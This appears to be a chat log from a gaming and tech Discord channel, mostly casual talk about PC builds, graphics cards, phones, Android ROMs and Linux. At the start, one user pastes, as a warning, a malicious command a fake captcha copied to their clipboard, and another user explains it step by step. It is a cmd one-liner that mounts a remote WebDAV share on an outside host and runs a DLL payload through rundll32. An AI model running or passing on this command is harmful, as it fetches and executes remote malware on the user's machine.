Any recs?

#

Captcha i just encountered

#

Genuinely insane

#

It automatically copies a line of text in your clipboard

#

And it's not just text

#

I will admit I have no clue what it does but I will NEVER follow through with one of these

#

DO NOT ACTUALLY RUN WHAT I'M PASTING, IN THE SPOILER I HAVE NO IDEA WHAT IT DOES, THIS IS JUST TO SHOW WHAT IT COPIED INTO MY CLIPBOARD:
||cmd /c start /MIN cmd /c "set x=pushd&set y=popd& call %x% \\ebmoc.yanis.hu@SSL\84f2edcd-8d70-4030-8a65-254afc0cc087 & rundll32 goog.ct,#1 & call %y%"||

# vagrant holly **DO NOT ACTUALLY RUN WHAT I'M PASTING, IN THE SPOILER I HAVE NO IDEA WHAT IT DO...

it's quite simple:
cmd /c runs the rest of the command and quits
start /MIN starts a new minimized window
set stores the commands in variables instead of calling them outright to evade AV detection
then it connects to a remote WebDAV over SSL share \\ebmoc.yanis.hu@SSL\84f2edcd-8d70-4030-8a65-254afc0cc087
rundll32 runs the dynamic DLL payload even if it's named .ct and not .dll
the last call runs popd to remove the network share and restore everything to its original form

#

if you ask me it's sus af

vagrant holly
#

Right? Even if it WAS harmless it shouldn't be allowed

vagrant holly
#

Then it hits you with the forced clipboard copy verification

hexed citrus
#

you just got clapped with a malware

The only thing holding my laptop down is a subpar GPU

well I have almost everything top of the line

me too, don't want to have those heavy gaming laptops

My top of the line computer is back home, half a country away from my uni dorm XD

My mom is too cheapskate to buy me a goddamn killer pc/laptop

You can slowly save up and buy parts every now and then

I should sell some vbucks

Ive planned out a couple builds for my future pc

#

Actually 5

#

All of them are at 16 gb of ram

gritty kite

8 or 12 gb is more than enough for general usage, unless you are planning on going into graphic arts/rendering etc thinkpitz

  4. I7 9700k, 2070

Which is the best?

#

All of em are at 2k budget

candid mantle
#

i7 8086k obviously laffeyDrink

wooden geyser
#

So yeah

gritty kite
#

I would do 8700k + 2070 personally thinkpitz

wooden geyser
#

I7 8086k is anniversary edition if i remember correctly

gritty kite
#

Well, 9700k would work as well thinkpitz

wooden geyser
#

8th grade is gonna have sony vegas shit coming

gritty kite
#

But if its in the future, I wouldn't be going for 1000 series GPUs

candid mantle
#

9700k and 8700k are basically the same processor

wooden geyser

So i might aswell go for an 8 core thing

Come on people COBOL is teh best programming language

Hm wait it has 2 screens?

No, that's a dock

subtle hawk

Oh lol

It has a bunch of accessories you need to.pruchase additionally

Also his usual clickbait title

I'd honestly rather get a switch or decent gaming pc/laptop

It's a good video though imho

#

Seems like unnecessary expenditure

dawn rock
#

Anyhoo, gonna jump out for lunch, ttyl

subtle hawk
#

I don't like those top of the line phones

candid mantle
#

I mean if you play mobile games a lot, I think it's worth it

subtle hawk
#

I always feel like they just buff the cameras and added unnecessary features

candid mantle
#

My current phone is an xperia XZ 😛

dawn rock
#

Or remove headphone jacks

west rock
#

Ain't you can do split screen in android thinkzed

gritty kite
#

I sort of got used to the lack of headphone jacks thinkpitz

candid mantle
#

At least the ROG phone has one

subtle hawk
#

Only few apps support it

gritty kite
#

Still would had preferred not buying a Bluetooth set XD

west rock
#

Meh true

candid mantle
#

I mean, you could always use the USB dongles emilesip

west rock
#

AL+discord split won't do for some reason warShrug

gritty kite
#

I could thinkpitz

candid mantle
#

But yeah, I'd love being able to play my games without my phone getting hot, and able to charge it while the charger not being in the way of my hand

gritty kite
#

Whenever I do mobile gaming, it's near my desk XD

#

Sort of defeats the purpose, but XD

candid mantle
#

I usually do it in my bed

subtle hawk
#

My current phone is a mediocre one because I bought it in hurry after I accidentally dropped my old phone into the water

gritty kite
#

F

candid mantle
#

Also you can hook up the ROG Phone to the Computer, cause why not

jade sinew
#

In which way?

gritty kite
#

^

candid mantle
#

Excuse me, hook it up to a monitor

gritty kite
#

Ah

#

That's neat

candid mantle
jade sinew
#

Also if ur phone supports MHL you can hook it up to a monitor

candid mantle
#

Fucking Hardwired Phone to the internet

#

What a time to be alive

jade sinew
#

LUL

gritty kite
candid mantle
#

Have we gone full circle?

jade sinew
#

It needs more cables

sand spruce
jade sinew
#

One for internet, one for display, one for any other shit you need

#

Make phone a PC

candid mantle
#

2 for display

#

One HDMI, and one Display Port

subtle hawk
#

I mean

#

Just install x86 android on a pc with touch screen monitor at this point Thonk

jade sinew
#

Nah, too cheap

#

You need to pay MONEY

subtle hawk
fickle crest
jade sinew

Throw bills right into the monitor

fickle crest
#

Will be my new pc for gaming/streaming

subtle hawk
#

1tb ssd?

fickle crest
#

Yeah I have the second sata already

#

So i took this SSD for windows and a few games

subtle hawk
#

I remember ssds being way more expensive per bytes

fickle crest
#

They are yes

#

Money is not a problem here honestly.

gritty kite
#

Jesus a TB for that much. How have things changed. mutsukiStare

digital vigil
#

In general u take an SSD for Windows and then an SSD for other things emilesip

gritty kite
#

Looks pretty good imo

subtle hawk
#

Yeah

#

My laptop has 256gb ssd but I don't run into space problems yet

#

Maybe because I don't play big games or have bunch of videos in it

gritty kite
#

I run into issues since I like playing big games

#

And hoarding them on my drives

fickle crest
#

I normaly take my HDD for games and such so this SSD is just mostly because my bf recommended to me getting one xD

digital vigil
#

That's why I prefer taking an SSD for windows alone

#

At least this SSD will be free from reading spam

gritty kite
#

I generally allocate a game I'll be playing often on my SSD while everything else goes on my HDDs

digital vigil
#

Maybe i'm wrong tho warShrug

fickle crest
#

@gritty kite thats the same i wanted to do too

digital vigil
#

And when I wanna play game faster I'll buy another SSD for that

gritty kite
#

But SSD gb per $ is going down, so I don't see why not getting a TB worth of SSD if you can afford it (and is reasonably priced) and it'll satisfy your needs thinkpitz

jade sinew
#

Damn, back then I bought a 250gig SSD for ~6.5k rub locally, and now I'm seeing around half lower prices (~2.5-3k rub) for the same 250gb SSD's (and not in the local shops)

#

Meanwhile I live in the dorm and can't have full tower PC setup for a while

gritty kite
#

Small dorm I imagine

subtle hawk
#

I just don't feel like having big things in it

jade sinew
#

Today for the same price I could buy ~1tb SSD LUL

gritty kite
#

people on my campus regularly tow their towers here

sand spruce
digital vigil
#

@gritty kite Take a 120gb for ur windows and a 1TB for ur games, not like it'll be expensive af to afford another 120 thinkpitz
But not like it's a big deal I guess (maybe on long term ?)

subtle hawk
#

Here are mostly gaming laptops

sand spruce
#

@digital vigil hugs

gritty kite
#

@digital vigil That's my setup on campus right now lmao

digital vigil
#

Yeah

gritty kite
#

Probably going to get a new laptop next year to replace my aging one thinkpitz

fickle crest

Cant wait to get this though lol

Gotta wait for the christmas paycheck and then BAM

@sand spruce GWcentrallHUGS

gritty kite
#

blobpat @digital vigil

sand spruce
#

my pc is still going strong

#

kinda

#

unstable

gritty kite
#

Depends on how many cores and how fast you can go, a CPU can hold out a little longer since most games don't even utilize many cores

#

looking at you Stellaris

digital vigil
#

Going to get a Z370 MSI with an i5 8600k and 16gb for my RAM (3000Mhz CL15)

Later on with more money i'll get dat Watercooling for CPU

quartz atlas
#

Im still running a laptop with gtx980

#

gritty kite
#

At least you have a GTX980 on your laptop

#

I'm squeezing by with a 950M

digital vigil
subtle hawk
#

that pc is the gaming rig

fickle crest
#

My current pc can run all new games on medium-high settings but it doesnt fare well will streaming it at the same time, plus my monitor takes too much power also

gritty kite
#

Surprisingly capable of a little laptop GPU

fickle crest
#

I have a GTX960 currently

quartz atlas
#

I want a rtx2080ti tho sandyCry

subtle hawk
#

I also have the workstation that is mostly for work and development

quartz atlas
#

@subtle hawk nee-san is rich

subtle hawk
#

that's also the place @unkempt slate dev environment resides

#

well being a developer and security specialist does give ou a hefty salary

quartz atlas
#

how much programming or cpu usage does a bot such as z23 take up?

gritty kite
#

Nice

subtle hawk
#

barely any

sand spruce
subtle hawk
#

but Z23 is a special case

#

she uses a decent amount of resources

fickle crest
#

Its all text based so i dont think z23 takes too much

quartz atlas
#

that wild usb dangling there

sand spruce
#

you gotta process those requests up too

subtle hawk
#

it's not just text

sand spruce
#

ye it's one of my HDDs

subtle hawk
#

there's a lot behind the scenes

gritty kite
#

That USB is just perfect

#

Dangling there

sand spruce
gritty kite
#

Wouldn't be perfect without a stray wire somewhere imo

sand spruce
#

it's like a generation or two old my pc is

jade sinew
#

Damn, this is last year in the school for me, and next year, if I pass the exams and hopefully get into university, I would need to move from my hometown to the city where I'll get into uni and take my PC stuff with me, it's probably gonna be hard

quartz atlas

I think i broke nimi that day with chinese text eg / wiki //insert chinese text//

Just one more year of uni before I'm going to be stuck in a power plant office somewhere thinkpitz

quartz atlas
subtle hawk
#

anyway the gaming rig is running a i7-8086K, 32 GB RAM, RTX 2080 Ti and GTX 1080 Ti

sand spruce
#

WEW

gritty kite
#

It's fine, it's my ultimate goal in life. I have little interest in circuit design or hardware

quartz atlas
#

whoa, in sli?

gritty kite
subtle hawk
#

overall cost is about 4300€

gritty kite
#

And holy shit, good setup

subtle hawk
#

not in SLI

sand spruce
#

wew

#

2 discrete cards

#

one for processing

#

one for general use

quartz atlas
#

I forgot what its called, but you can run both card tgt no?

sand spruce
#

that's what i kinda guessed

subtle hawk
#

1080 is handling hardware acceleration, video decoding and stuff like that

#

the RTX is for games

sand spruce
#

display output is on the RTX too?

subtle hawk
#

yes

sand spruce
#

ahh

#

makes sense

subtle hawk
#

doe I'm planning to get 2 more displays

gritty kite
#

I should probably look into the new GPUs they unveiled. XD

quartz atlas
#

I look at yamato's rig and feel poor longcryland

gritty kite
#

He's flexing on us XD

subtle hawk
#

well I poured most of my savings into it

sand spruce
#

my pc is old gen longcryland

gritty kite
#

Good ol 1080, 1440, or 4k for those new displays? thinkpitz

subtle hawk
#

always dreamt of a top of the line gaming rig

#

the current one is a 1080p one

quartz atlas
#

2080ti for 1080p gaming

subtle hawk
#

but I'm thinking of changing to 3 1440

quartz atlas
#

those must be some frame rates man

subtle hawk
#

the main one being 144Hz

gritty kite
#

That's good stuff

#

I'm hoping to upgrade to a 1440p on my tower sometime in the future

sand spruce
#

what's your take on ultrawides tho?

gritty kite
subtle hawk
#

I love ultrawide

fickle crest
#

My main monitor is 1440p and I have a GTX960 XD

sand spruce
#

inb4 3 ultrawide monitors

gritty kite
#

That poor 960 mutsukiStare

subtle hawk
#

but games are broke with ultrawide

sand spruce
#

yeah

fickle crest
#

@gritty kite tis why I get a new pc

sand spruce
#

needs a 16:9 display

#

for that

subtle hawk
#

no I'm getting 3 normal displays

quartz atlas
#

Oh? I tot Ultrawide makes for awesome experience cuz of the curving and wide FOV?

subtle hawk
#

was debating 1 UW and 2 normal

sand spruce
#

ahh

fickle crest
#

I have an Acer Predator 281HBK

sand spruce
#

just go for 3 16:9's

subtle hawk
#

but that would require a 2nd 2080 Ti

#

Go for 2 normal

fickle crest
#

It takes most of my power

quartz atlas
#

when your display is more expensive than your gpu sandyMeme

fickle crest
#

@quartz atlas my display 630€ and pc 980€ :'D

subtle hawk
#

I'm right now planning of making a new pc build out of my current gaming rig

quartz atlas
#

is there a channel specific rule list somewhere?

fickle crest
#

I have 3 displays though, 2 1920×1080 ones and a 3840×1640 ones

quartz atlas
#

@fickle crest thats some weird ratio u have there, but displays are easy to futureproof i guess

sand spruce
subtle hawk
#

that's a tiny desk

quartz atlas
#

my corsair mouse just died on me

sand spruce
#

ya i know it's messy af and the tiny desk too

#

my room is quite small

fickle crest
subtle hawk
#

well mine is big bcz it has to keep 2 gaming pcs on it

fickle crest
#

That in the middle is the acer

sand spruce
#

wew nice

subtle hawk
#

mine and my gf's

#

well hers is not technically a gaming rig

sand spruce
#

i might plan for 3 monitors eventually

quartz atlas
#

@fickle crest are all those displays TN panels?

sand spruce
#

but i need the room for it

subtle hawk
#

she also "borrowed" my graphics tablet

fickle crest
#

@quartz atlas what do you mean?

quartz atlas
#

TN/LED/OLED

fickle crest
#

The right one is my Huion Kamvas GT-191 pen monitor

quartz atlas
#

display tech

fickle crest
#

Ah idk

subtle hawk
#

Huion

quartz atlas
#

i think i got confused

subtle hawk
#

are they any good?

quartz atlas
#

shdl be tn/ips/oled

fickle crest
#

@subtle hawk i love it

#

Especially the gt191

subtle hawk
#

I ordered a Huion 420 for when I'm with my laptop

#

but I never used their stuff before

gritty kite
#

Might try a Huion since I need a cheap graphics tablet thinkpitz

fickle crest
#

Unlike wacom where you pay 2k for the pen monitor and another 600€ for the holder, you pay 430€ on thag huion or everything

subtle hawk
#

for desktop I have the Wacom intuos pro L

fickle crest
#

If you want a wacom in the size of my huion

wooden geyser
#

Monitors?

subtle hawk
#

idk I like the precision and feel of wacom tablets

fickle crest
#

Yes

wooden geyser
#

I have a low end but usable monitor

fickle crest
#

The wacom have normally 2.4k pressure levels

#

My huion has 8k

wooden geyser
#

Its this benq one that i forgot the model name

fickle crest
#

But yeah if someone wants a good pen monitor for a reasonable price which is -in my opinion - really good go for a huion one. I haven't been dissappointed.

gritty kite
#

Sounds good to me

#

Been on the edge on whether or not to get a Huion for a while now thinkpitz

sand spruce
#

mm, might consider a tablet eventually

fickle crest
#

What I also need to get though is a wacom mobile studio so I can draw when I am outside

#

But thats like another PC

Freakin 1.3k for the cheapest vioRIP

@fickle crest for a mobile studio I have the surface pro

#

it's also my go to tablet

quartz atlas
#

thats very expensive for a 1070ti

fickle crest
#

@subtle hawk how much does it cost? Also I would need it to run CSP :X

subtle hawk
#

not much

#

I payed 800€ for it, the type cover and the stylus @fickle crest

stone wave
#

oh god i read the words type cover im triggered

#

those damn things are so overpriced, my SP3 typec over delaminated and it was like $99 for a SP4 type cover

subtle hawk
#

@stone wave premium products come at a price

stone wave
#

My SP3's fan also went at full speed when I was watching a video or browsing the web... other people reported the same thing with their surface products, no idea how it is after the SP4 since I stopped checking.
Replaced mine with an X1 Carbon.

subtle hawk

it doesn't have a fan

so it's dead silent

the old model yes

the new one doesn't

sick jolt
#

guys any reccomendation for a mobile?

#

android plsa

quartz atlas
#

@sick jolt huawei

#

i can play AL for 5hrs straight and still have enough battery to last the night

#

and it doesnt ever overheat

sick jolt
#

wich model?

quartz atlas
#

im using a p20 pro btw

#

the mate 20 would be btr if u like bigger screens

stone wave
#

thats a big battery, i rarely play on my phone but i think mine goes maybe 3 hours

#

but then i just recharge it back to full in like 30 minutes

quartz atlas
#

nani? 0-100 in 30mins?

stone wave
#

oneplus dash charging

quartz atlas
#

iirc it doesnt do 30mins 100%

stone wave
#

i dont pay attention to how fast it is tbh

quartz atlas
#

oneplus and oppo is decent

stone wave
#

cause when i look away and do something and come back its full

#

the 6 or 6t is a good sub $1000 option

quartz atlas
#

huawei has the fastest charging on market rn with mate20 pro tho, 40V charging lmao.

stone wave
#

if the Motorola E5 Plus can run AL that would be a good budget option (not sure how well it runs it if at all)

#

cause the e5 is packing a 5000 mah battery

quartz atlas
#

they literally shoved 2 seperate battery packs inside, so they charge both seperately then the phone draws power as if they were one unit.

stone wave
#

gotta go out of the way to find a power brick that can supply that much lmao

quartz atlas
#

meh, power is useless if AL doesnt run smoothly or if it overheats

#

@stone wave huawei includes it for u along with the extraa thicc cable to handle the voltage

#

just dont loose it lols

problem is if you lose it

#

then rip

#

like another 40 or 50 for a new one i bet

quartz atlas
#

but huawei is compatible with quick charge too so

stone wave
#

ah thats nice

quartz atlas
#

but then quickcharge aint as quick

stone wave
#

OP uses proprietary crap

quartz atlas
#

OP streams down from Oppo

#

so of course

#

them supervooc charging lols

stone wave
#

When Samsung clears their S9/S9+ stock for the next model those might be worth it to nab up.

subtle hawk
#

no no no

quartz atlas
#

wait, sorry. I think i got confused. Supervooc is the 40v charging. Huawei is slightly slower

subtle hawk
#

anything but huawei

quartz atlas
#

why?

stone wave
#

infosec?

quartz atlas
subtle hawk
#

their OS is extremely bloated

stone wave
#

oh are they still using miui?

quartz atlas
#

Not really, I can uninstall most apps tbh. plus its really snappy.

subtle hawk
#

miui is xiaomi

#

@quartz atlas in your experience

#

I've had to take apart the Android on Samsung, HTC, Huawei, Xiaomi and Pixel

quartz atlas
#

true, i always rooted my phones and flashed custom firmware before my p20 pro tho.

subtle hawk
#

and out them all ofc the Pixel is the most clean one

quartz atlas
#

thats a given

subtle hawk
#

Samsung one is actually really good for a custom OS

quartz atlas
#

pixel is the best andriod experience hands down

subtle hawk
#

the new one not touchwiz

#

that one is garbage

quartz atlas
#

oh, i was gonna shite on touchwiz lul

#

hahah

#

i have not used samsung in years

#

since note 3 iirc

subtle hawk
#

HTC is p bad

quartz atlas
#

or note 4 cant rmb

subtle hawk
#

Huawei and Xiaomi are the worst doe

#

MIUI and the one Huawei uses are just

quartz atlas
#

i cant comment on XM as I have never used it. But my p20 pro is very intuitive with a search bar in the settings all that.

subtle hawk
#

unless you get the Mi A line of phones from Xiaomi

#

they're god tier

#

that's a core feature since android 7

#

or was it 7.1?

quartz atlas
#

oh? oops, i ran my prev custom firmware without updates for 2 years lul

subtle hawk
quartz atlas
#

so my new huawei was like blow me away kinda good to me

subtle hawk
#

I have the Android 9 upgrade in beta but I'm not touching it

#

rn both my phones run Android 8.1

quartz atlas
#

what phones r u using rn?

subtle hawk
#

Xiaomi Mi A1

#

and Note 9

#

the A1 has seen better days

quartz atlas
#

I take it that u flashed the A1?

subtle hawk
#

nope

#

native AOSP

#

Android One flagship and all that

quartz atlas
#

oh, did not know that

subtle hawk
#

my friend got himself a A2

#

can't wait to get my hands on the OS from that

#

compare it to mine

quartz atlas
#

ASOP differs from device to device?

subtle hawk
#

yes

#

the core code is the same

quartz atlas
#

huh, would have expected them to be close to stock android.

subtle hawk
#

but the kernel and firmware is different along with the device tree

#

it is stock Android

#

but you still need that part

#

the Pixel simply has that baked into the AOSP repository

quartz atlas
#

i see

subtle hawk
#

outside of the firmware

#

that you still need to get your hands on

#

unless you run project treble

#

then you don't need anything

#

just the OS code

quartz atlas
#

we went from a guy asking what android to buy to android firmwares and kernels lul

#

and he went away too 😦

subtle hawk
#

well depends on his use cases

#

budget

#

availability

#

carrier compatibility

quartz atlas
#

true true, most flahships shld be compatible with all carriers nowadays no?

#

they cover most bandwidths iirc

subtle hawk
#

I can easily use the 150€ A1 for everything

#

but to each their own

quartz atlas
#

can it run AL tho smugBucky

subtle hawk
#

butter smooth

#

it runs Pubg mobile on medium

quartz atlas
#

i ran AL on a s820 and it was so shite for some reason

sweet glade
#

Walmart gaming pc smugBucky

subtle hawk
#

pls no

sweet glade
#

Would pay 2k smugBucky

quartz atlas
#

might have smth to do with me not updating the custom firmware for 2 years but who knows

subtle hawk
#

Run AL on a razer phone renownThumbsUp

subtle hawk
#

I personally build and make my own ROMs

quartz atlas
#

@sweet glade nt sure if u trolling

subtle hawk
#

I'll take the ROG phone tyvm

sweet glade
#

Shhhhhh i don't even own a razer phone

#

Just a iPhone 5 ;-;

quartz atlas
#

@subtle hawk well..... i just go to xda and see what looks nice and clean luls

#

@sweet glade absolutely filthy jk

sweet glade
#

Since this is technology should I upgrade to 1070 or keep my 1060 6gb

quartz atlas
#

keep for now

#

i would say maybe grab a 1080 or 1080ti on the cheap 2nd hand if you're really itching in the next few months.

#

then wait till rtx matures

sweet glade
#

Okay

subtle hawk
#

keep

Finally a place where PC master race can dwell

tame topaz
#

Gotta admit, quickly snatching up a dirt-cheap B350 and a 2200G was probably one of the best choices I've made

#

Sure I have to sacrifice RGB, but hey, more frames

#

That board was nearly half off and by the time I got to the store, there was just 1 left in stock.

#

Quite lucky, you might say.

mint pendant
#

I was running a xeon e3 1230v2 with a z77 board and 16gb ram for a few years and changed into a ryzen 2700x with x470 and 32gb ram earlier this year

I had been eyeing on the i3-8100 and its ever-increasing price and failed to notice the beckoning of the red team.

Glad I did notice.

Pentium to Ryzen.

quaint granite

ryzen is the best choice atm

mint pendant
#

agree

quaint granite
#

for both budget and power

tame topaz
#

Though I did end up with a slightly defective stock cooler

mint pendant
#

unless you want extreme gaming performance

tame topaz
#

2600 is one hell of a beast from what I've read.

quaint granite
#

well I dont have that kind of need since I only read visual novels

#

and good games are usually not too graphically heavy

#

because those prone to get problems

tame topaz
#

Hope I can replace the cooler soon.

#

Either through warranty or with an entirely new cooler.

#

I plan to OC after all.

quaint granite
#

coolers are cheap

#

you could use a liquid system

#

or

#

open your case and get a BIG FUCKING fan

tame topaz
#

Don't really have the money for even a cheapo closed loop

quaint granite
#

its the fan then

subtle hawk
#

Xeon based gaming rigs are a bad idea

tame topaz
#

The Gammaxx 300 is on late black friday soon where I am.

#

Seems good.

subtle hawk
#

expecially is it's very old Xeons on modded boards

tame topaz
#

I kinda feel bad for my cousin since she got a 950 system mere months before the 1050

#

Also used a Xeon E3

mint pendant
#

i also have a friend that got the 970 just before the 1070 launched so yeah

tame topaz
#

C'est la tech.

quaint granite
#

well I always based my tech on my needs => running most games on"high" is enough

#

using 1060 and ryzen 7 atm

#

what game are you guys playing?

tame topaz
#

Currently patiently awaiting Ace Combat 7

#

But otherwise, some random triple-As

quaint granite
#

only expecting cyberpunk atm

mint pendant
#

i am on a 1070 and ryzen 7, and i play random AAA game now like metro, witcher

quaint granite

played all metros and witchers games

mint pendant
#

yeah, and i have been waiting for it for some time now

mental coyote
#

Ryzen warms my cold heart. Been an AMD man for years, good to see 'em back in a competitive position.

mint pendant
#

without AMD competing, we may still be on 4 cores

subtle hawk

waiting to get my AC7 strangereal box

jade sinew
#

amd's ryzen are pretty nice now

subtle hawk
#

I need that arsenal bird

charred arrow
#

AC7 is good stuff

subtle hawk
#

as for games I play now

#

AL, CS:GO when my friends ask me to, R6, PUBG, League when gf wants to duo

mental coyote
#

Only place Ryzen's a bit wonky is under Linux. Getting better each microcode and/or kernel upgrade, tho.

subtle hawk
#

and then some VNs here and there

#

@mental coyote only intel uses microcode updates

mental coyote
#

VNs are always worth.

subtle hawk
#

AMD microcode is embedded into the Linux kernel

mental coyote
#

Actually, in linux, there's an amd microcode package.

subtle hawk
#

idk what kind of ancient distro you use that did update their kernel in the last few months

mental coyote
#

It updates seperately from the kernel, at least in Arch/Arch derivs.

subtle hawk
#

only intel ucode is mandatory on Arch

#

as for wonkyness

#

you're running latest kernel

#

ofc it's not gonna play nice

mental coyote
#

I'm not arguing mandatory, I'm arguing it exists. As for kernel, it ran worse < 4.17

fickle crest

Probs am late to the topic but

i7-4790 + 16GB ram + GTX960

So basicly direct upgrade

keeping the RAM?

My current one is still able to play everything on high settings even the new games but due to that Acer monitor i have to put the graphs on medium.

@subtle hawk nope going to build it from new

@sick jolt nope

I am probs going to make a double PC stream setup

subtle hawk

I mean you can probably find a 2nd hand 1080 Ti

and be set for a while

Yeah I have two slots

But i will wait

tame topaz

Yamato you lucky bastard

Have fun with the Ass Birb when it arrives

First I need to get this rig build xD

subtle hawk

@tame topaz bought PS VR just for that game

tame topaz
#

Nice.

subtle hawk
#

been waiting for this for waaay too long

tame topaz
#

Well here's hoping VR comes to PC after a year.

#

Says on the box that VR exclusivity ends on January 18th 2019

#

So there's hope.

charred arrow
#

There is hope

subtle hawk
#

still

#

the Ace Combat series was native to PS

#

so I'm staying true to it

tame topaz
#

Splurged all my money on a PC so oof

#

Time to shut myself away from the interwebz for 2 weeks once the game comes

mild geode
#

@languid saddle real good build?

languid saddle
#

It's really nice yeah

subtle hawk
#

meanwhile I'm hunting for a 2U chassis for my host server

#

so I can fit 3.5" drives in it

mental coyote
#

As someone who hasn't built a desk or server; are 3.5s per sé better, or just cheaper for large amounts

subtle hawk
#

cheaper

#

and better

#

and less dense

#

2.5" drives come up to 1 TB mostly

mental coyote
#

Good to know. I'll keep this kinda thing in mind.

subtle hawk
#

for example a 2.5" 1 TB can cost as much as a 3.5" 4 TB

mental coyote
#

Micronization cost boost

#

I'm just glad SSDs are a lot more affordable, in general.

tame topaz
#

Indeed.

#

Hope they go even lower next year.

subtle hawk
#

not if you run Optane

#

then again I only run that on the servers

tame topaz
#

Kinda missing out on StoreMI here, which sucks.

#

Of course I can always buy FuzeDrive but nah

subtle hawk
#

speaking of storage

#

I'll need some more for the plex server

#

gotta prepare for the new anime season LEL

mental coyote
#

Damn, you work in the biz, or is this just one hell of a personal rig

subtle hawk
#

the biz

tame topaz
#

Ooh

subtle hawk
#

doe I also have savings from my past jobs

#

economics, really useful thing IRL

tame topaz
#

tfw you realize 1060s sell for dirt cheap due to oversaturation

subtle hawk
#

ikr

mental coyote
#

I don't blame ya. Hell, had some decent checks a couple months back, so I slipped some loot over for my own upgrades. Still keepin spare in the bank, in case of craziness I can't predict.

subtle hawk
#

my 1060 strix is now worth pennies

tame topaz
subtle hawk

gonna use it for physX

tame topaz
#

Those damn mining dogs never truly let us go

subtle hawk
#

well I didn't mine

#

but I did invest in crypto

#

I'm gonna say

#

it was a damn good investment

tame topaz
#

Nice one.

#

RAM prices are dipping too

subtle hawk
#

but imho GPU miners are dumb

tame topaz
#

Indeed.

#

Crypto mining is practically a fad

subtle hawk
#

you're better off investing that money into R&D of ASICs

#

then pay that off once you plug them in

#

or sell them units

tame topaz
#

AMD cards here have dipped quite a bit in price too, which is nice.

#

I remember them going on a draught for a whole year

languid saddle
#

Lemme guess, bitcoin mining? laffeyDrink

tame topaz
#

Most likely.

mental coyote
#

Seems to be Intel's turn to have a bit of a chip shortage

languid saddle
#

Every fucking RTX I see is somehow a mining edition overpriced

tame topaz
#

Even Pentiums are pricey.

#

The 200GE is really shining in these times.

languid saddle

subtle hawk
tame topaz
#

Already have it.

Actually, I'd almost like to see ARM get into desktop cpus. If nothing else, a 3rd big player'd keep Intel/AMD on point.

languid saddle
#

What romanian page is that tho?

subtle hawk
#

it's not romanian

languid saddle
#

User Romanian mostly? laffeyDrink

subtle hawk

it just translated to that

languid saddle
#

Oh

tame topaz
#

Haven't heard from VIA for a long time now.

mental coyote
#

ikr

#

Looks more like Italian, or mebbe Portuguese

subtle hawk
#

VIA is gone off to china

#

they mostly do embedded semiconductors

tame topaz
#

I mean VIA is Taiwanese

subtle hawk
#

yeah but they mostly work for the chinese goverment

#

on private contracts

tame topaz
#

Wonder how long it'll take for Intel to escape 14nm.

subtle hawk
#

who knows

#

but when they do

#

ohhhh baby

tame topaz
#

It's having all sorts of consequences for them

subtle hawk
#

Intel usually takes their time with new stuff

#

to increase yields and efficiency

mental coyote
#

Heh. Well, they have the beter RnD budget. Although, AMD's been increasing their fab setup.

subtle hawk
#

meanwhile AMD was the one giving the push in the back

tame topaz
#

Pretty hyped for Zen 2

Seems like Intel's gonna host an Architecture Event next month

"Fuck you, NVIDIA." One of the best Torvalds moments

novideo and their proprietary drivers and firmware

Yep. At least we got amdgpu, on the other side. Nouveau's just ... meh

I wish I could counter that. Thank fuck amdgpu's been better, overall.

Ryzen support is improving. Which kernel?

Alright. 4-19 series, atm. Doin ok on my own box (Artix). Have you tried either nocbs=0-7 or idle=nomwait kernel options? (Also nocbs can be done by zenstates.py, from within x)

#

I had no issues for touchscreen past 4-17.

#

I must say. Most first-time linux users go for one of the "easier" options. Not that I'm judging.
Hmm. What machine? Could have somewhat to do with things.

#

Damn. I'm running an inspiron 5575

Ryzen 5?

Didn't know there were Ryzen versions for laptops laffeyDrink

Well. I can tell you android x86 in VirtualBox is a bit wonky ... still workin that out on my end. We have the same APU, though.

Do you have both Windows and Linux installed on your PC? laffeyDrink

Or just Linux?

Anbox had compilation issues, last I tried it. Could give it another go, tonite.

gritty kite
mental coyote
#

Geny uses VBox for that vm. If VBox is wonky, Geny'll be the same.

languid saddle
#

Should I try installing any Android on VBox? laffeyDrink

#

Probably because PC's CPU's Arquitecture are kinda different from the phones, and have to work a lot more laffeyDrink

mental coyote
#

The issue I've been having is most likely related to screen rotation. I'll piss with it later.

languid saddle
#

What's your GPU? laffeyDrink

#

Also, what version of Android are you using?

#

I think there's a unofficial version of Android that uses correctly AMD and Intel architectures instead of ARM chips ones

subtle hawk
#

@unborn flicker arch isn't for the kind of heart

#

it's very powerful

#

but you need to know the ins and outs of linux to harness its potential

#

if you want to learn linux I suggest starting from debian

#

or ubuntu

mental coyote
#

True that. Anything Arch-related requires stronk google-fu

subtle hawk
#

google won't really help

#

you'll need to use the man pages

#

and learn vim

mental coyote
#

Niko. Yer prolly talking about android x86.

subtle hawk
#

Android is now only supported on ARM devices

#

x86 support is very cut down

mental coyote
#

Some apps don't act the same on non-arm. FGO being one example that won't even work, iirc

languid saddle
#

Google-Chan laffeyDrink

subtle hawk
#

FGO uses the native Android API to check on what device it runs

#

if it's not on the list

#

exit

mental coyote
#

Makes sense.

languid saddle
#

So trying to play FGO on a emulated Android is a no no laffeyDrink

subtle hawk
#

well

languid saddle
#

I mean, no "emulated" as well

subtle hawk
#

if you run something like nox it will work

#

since that spoofs the device properties

mental coyote
#

Playing it on rooted or dev options is also not happening

languid saddle
#

I wanted to root my Huawei but nowadays that's a really big no no longcryland

subtle hawk
#

I don't see any point in rooting

#

unless you're a madman like me and run debian as a dual boot

languid saddle
#

oof

mental coyote
#

Custom roms, bloatware removal.

subtle hawk
#

most stock roms these days come pretty clean

#

unless it's Huawei

#

or Xiaomi

mental coyote
#

Man. Haven't done deb in ages.

languid saddle
#

I think you could modify your phone Kernel having root laffeyDrink

subtle hawk
#

no you can't

#

a kernel change requires a rebuild of said kernel

mental coyote
#

Or Samsung. Their roms are cluttered.

subtle hawk
#

better than touchwiz

mental coyote
#

We don't discuss touchwiz.

#

Base AOSP is good enough. No idea why OEMs wanna mess with it so damn much.

subtle hawk
#

I personally enjoy the new Samsung ROM

#

pretty close to AOSP with some nice additions

mental coyote
#

Haven't done their Bliss bit yet. One thing Sammy could do that'd have me wanting to root a lot less, would be leaving Adoptable Storage in. Put it in DevOps, if yer worried about schlubs fucking up.

well, I have an SE

I will say though that if I wanted a ton more customization on my phone I'd 110% take Android

I don't understand why people have this "Apple vs. Android" mentality anyways

Just gimme a good combo of specs and user-side control, and I can't be arsed to sweat a specific brand.

past bison
#

i personally like huaweis emui interface

#

but i also liked the custom android roms like cyanogenmods

#

as for hardware, pretty much anything with samsung exynos or qualcomm snapdragon 800 series is good

Any Chinese brand is fine nowadays GWfroggyPeepoWew

past bison
#

